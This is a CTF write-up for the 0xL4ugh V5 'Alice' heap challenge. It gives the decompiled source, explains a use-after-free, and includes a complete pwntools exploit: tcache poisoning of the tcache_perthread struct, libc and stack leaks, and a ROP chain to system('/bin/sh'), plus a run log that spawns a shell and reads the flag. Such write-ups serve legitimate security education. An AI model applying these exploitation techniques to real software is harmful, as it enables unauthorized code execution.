0xL4ugh CTF V5

Alice

Vulnerability: Vẫn giữ reference sau khi free, dẫn đến use-after-free.

February 8, 2026 January 25, 2026 Medium
Author Author Hung Nguyen Tuong

Recon

Mitigation

$ pwn checksec vuln 
[*] '/home/hungnt/ctfs/0xl4ugh/alice/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

GLIBC Version

pwndbg> libc
libc version: 2.39
libc source link: https://ftp.gnu.org/gnu/libc/glibc-2.39.tar.gz

Code

main()

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int choice; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  puts("Not all memories are kind — but we must face them nonetheless.");
  while ( 1 )
  {
    menu();
    choice = read_choice();
    if ( choice == 5 )
    {
      puts("Alice closes her eyes and leaves Wonderland...");
      exit(0);
    }
    if ( choice > 5 )
    {
LABEL_15:
      puts("That choice is not real.");
    }
    else if ( choice == 4 )
    {
      forget_memory();
    }
    else
    {
      if ( choice > 4 )
        goto LABEL_15;
      switch ( choice )
      {
        case 3:
          view_memory();
          break;
        case 1:
          create_memory();
          break;
        case 2:
          edit_memory();
          break;
        default:
          goto LABEL_15;
      }
    }
  }
}

handlers

int create_memory()
{
  int v1; // eax
  int choice; // [rsp+4h] [rbp-Ch]
  size_t size; // [rsp+8h] [rbp-8h]

  printf("Memory index: ");
  choice = read_choice();
  if ( (unsigned int)choice >= 9 )
    return puts(aThatMemoryDoes);
  if ( *((_QWORD *)&memories + choice) )
    return puts("Something was there already.. may wanna save somewehre else.");
  printf("How vivid is this memory? ");
  v1 = read_choice();
  size = v1;
  if ( !v1 || (unsigned __int64)v1 > 0x300 )
    return puts("That memory is too distorted to hold.");
  *((_QWORD *)&memories + choice) = malloc(v1);
  printf("What do you remember? ");
  read(0, *((void **)&memories + choice), size);
  return puts("As if it happened yesterday...");
}

//----- (00000000000013B8) ----------------------------------------------------
int edit_memory()
{
  int choice; // [rsp+4h] [rbp-Ch]
  size_t nbytes; // [rsp+8h] [rbp-8h]

  printf("Which memory will you rewrite? ");
  choice = read_choice();
  if ( (unsigned int)choice > 8 || !*((_QWORD *)&memories + choice) )
    return puts("I can't get myself to remember what happened that time.");
  nbytes = malloc_usable_size(*((void **)&memories + choice));
  printf("Rewrite your memory: ");
  read(0, *((void **)&memories + choice), nbytes);
  return puts("The past bends under your will...");
}

//----- (0000000000001488) ----------------------------------------------------
int view_memory()
{
  int choice; // [rsp+Ch] [rbp-4h]

  printf("Which memory do you wish to recall? ");
  choice = read_choice();
  if ( (unsigned int)choice < 9 )
    return puts(*((const char **)&memories + choice));
  else
    return puts("Weird... I don't remember that.");
}

//----- (00000000000014EB) ----------------------------------------------------
int forget_memory()
{
  int choice; // [rsp+Ch] [rbp-4h]

  if ( free_count > 6 )
    return puts("Some memories refuse to fade...");
  printf("Which memory will you erase? ");
  choice = read_choice();
  if ( (unsigned int)choice > 8 || !*((_QWORD *)&memories + choice) )
    return puts("Idk.");
  free(*((void **)&memories + choice));
  ++free_count;
  return puts("What was that about again?");
}

Tại forget_memory(), con trỏ đến memory được free nhưng vẫn giữ reference, nên có lỗ hổng use-after-free.

Solve

Bài này khá straight forward, chỉ cần sắp xếp exploit một chút sao cho số lần dùng malloc và free vừa đủ, theo các bước sau:

  1. forget rồi view để leak heap base.
  2. tcache poisoning để kiểm soát luôn cả cái tcache perthread struct ở heap base + 0x10. Muốn tcache entry trỏ đến đâu thì edit phát là được.
  3. Vì mình chỉ create được tối đa size 0x300, nên mình sẽ tcache poisoning để ghi đè size của chunk nào đó sao cho khi free được đưa vào unsorted bin -> leak libc.
  4. Sau khi có libc, tcache poisoning để leak stack address qua environ.
  5. Sau khi có stack address rồi, tcache poisoning phát nữa để ghi đè return address với rop chain là xong.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("vuln_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
# b *edit_memory+121
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "159.89.105.235"
        port = 10001
        return remote(host, port)

class TcachePerthread:
    def __init__(self):
        self.num_slots = [0] * 64
        self.entries = [0] * 64
    
    def set_count(self, idx, count):
        self.num_slots[idx] = count
        return self
    
    def set_entry(self, idx, ptr):
        self.entries[idx] = ptr
        return self
    
    def pack(self):
        data = b''
        for count in self.num_slots:
            data += p16(count)
        for entry in self.entries:
            data += p64(entry)
        return data
    
p = conn()

def create(idx, size, memory):
    slan(p, b'>', 1)
    slan(p, b'index', idx)
    slan(p, b'memory?', size)
    sa(p, b'remember?', memory)
    sleep(0.1)

def edit(idx, memory):
    slan(p, b'>', 2)
    slan(p, b'rewrite?', idx)
    sa(p, b'your memory', memory)
    sleep(0.1)

def view(idx):
    slan(p, b'>', 3)
    slan(p, b'recall? ', idx)

def forget(idx):
    slan(p, b'>', 4)
    slan(p, b'erase?', idx)

msize = 0x300

# Leaking heap base
create(0, msize, b'A')
create(1, msize, b'A')
forget(0)
view(0)
heap_base = leak_bytes(rn(p, 5)) << 12
lg("heap base", heap_base)

# Tcache poisoning to control the entire tcache perthread struct
forget(1)
tcache = heap_base + 0x10
fd = tcache ^ (heap_base >> 12)
edit(1, p64(fd))

create(2, msize, b'A')

memory1 = heap_base + 0x290

# Control tcache to fake memory 1 size
controlled_tcache = TcachePerthread()
controlled_tcache.set_count(0, 1).set_entry(0, memory1)
create(3, msize, controlled_tcache.pack())

# Fake the size
create(4, 0x10, p64(0) + p64(0x621))

# Barrier chunk
create(5, msize, b'A')

# Leak libc base
forget(0)
view(0)
libc.address = leak_bytes(rn(p, 6), 0x203b20)
lg("libc base", libc.address)

environ = libc.symbols['__environ']
lg("environ", environ)
offset_to_environ = 0x18

# Control tcache to leak environ
controlled_tcache = TcachePerthread()
controlled_tcache.set_count(4, 1).set_entry(4, environ - offset_to_environ)
edit(3, controlled_tcache.pack())

# Leak stack address
create(6, 0x50, pad(offset_to_environ))
view(6)
rn(p, offset_to_environ)

stack = leak_bytes(rn(p, 6))
lg("stack", stack)

# Control tcache to overwrite return address of create_memory()
controlled_tcache = TcachePerthread()
controlled_tcache.set_count(8, 1).set_entry(8, stack - 0x158)
edit(3, controlled_tcache.pack())

rop = flat(
    pad(8),
    libc.address + 0x000000000010f78b, # pop rdi ; ret
    binsh(libc),
    libc.address + 0x000000000009951f, # nop ; ret
    libc.symbols['system']
)
create(7, 0x90, rop)

rr(p, 2)

# Profit
ia(p)
$ py solve.py 
[+] Opening connection to 159.89.105.235 on port 10001: Done
heap base -> 0x5dafcdbaf000
libc base -> 0x7a270b142000
environ -> 0x7a270b34cd58
stack -> 0x7ffffa6b02b8
[*] Switching to interactive mode
$ ls
flag
vuln
$ cat flag
0xL4ugh{therapy_would've_been_easier_548af1c}